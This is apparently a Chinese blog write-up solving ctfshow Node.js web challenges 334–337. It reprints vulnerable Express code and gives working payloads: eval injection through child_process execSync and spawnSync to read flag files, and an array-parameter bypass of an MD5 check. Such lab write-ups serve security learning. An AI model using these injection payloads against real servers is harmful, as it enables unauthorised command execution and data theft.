ctfshow web入门 nodejs web334--web337

web334

有个文件下载之后改后缀为zip加压就可以得到两个文件

一个文件类似于index.php 还有一个就是登录密码登录成功就有flag

php 复制代码
username:ctfshow
password:123456

因为

php 复制代码
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
这个toUpperCase()可以转大写

web335

查看源代码看到了eval可以进行rce只不过和PHP不同的是函数

php 复制代码
?eval=require('child_process').execSync('cat f*')
使用这个child_process类里面的execSync方法

web336

spawnSync()会同步创建一个子进程执行我们传入的命令,并且返回一个对象.

php 复制代码
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
不知道为啥这道题就一定要stdout.toString(),这个的作用是标准的输出并且转化为字符串

web337

php 复制代码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;         //GET请求
  var b = req.query.b;        //GET请求
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});   //渲染模板,回显tql在index
  }
  
});

module.exports = router;
php 复制代码
数组绕过
?a[]=1&b[]=1
相关推荐
万敏11 小时前
Vue3 全栈实战第五周:Vitest 单元测试从零搭建实战记录
vue.js·node.js·全栈
数据知道15 小时前
XSS 攻防全解:反射型、存储型、DOM 型实战演示
前端·安全·web安全·网络安全·xss
空杆推不起16 小时前
企业数据加密实战:传输链路与存储层全场景落地指南
网络·安全·web安全
星栈18 小时前
我以为 TS7.0 只是换个版本号,结果编译快了 9 倍,也踩了 5 个坑
后端·typescript·node.js
Atomic1213819 小时前
登录界面渗透测试全攻略
web安全·网络安全
Synmbrf19 小时前
Mosquitto 持久化消息积压导致网关内存耗尽的排查
node.js
AINative软件工程20 小时前
LLM Streaming 背压工程实践:慢客户端、断流重连与服务端缓冲区的生产设计
node.js·llm
码林鼠1 天前
webpack的基本配置
前端·webpack·node.js
Yan_chen6661 天前
SQL-LABS_Less18-20实战攻略
数据库·sql·web安全·网络安全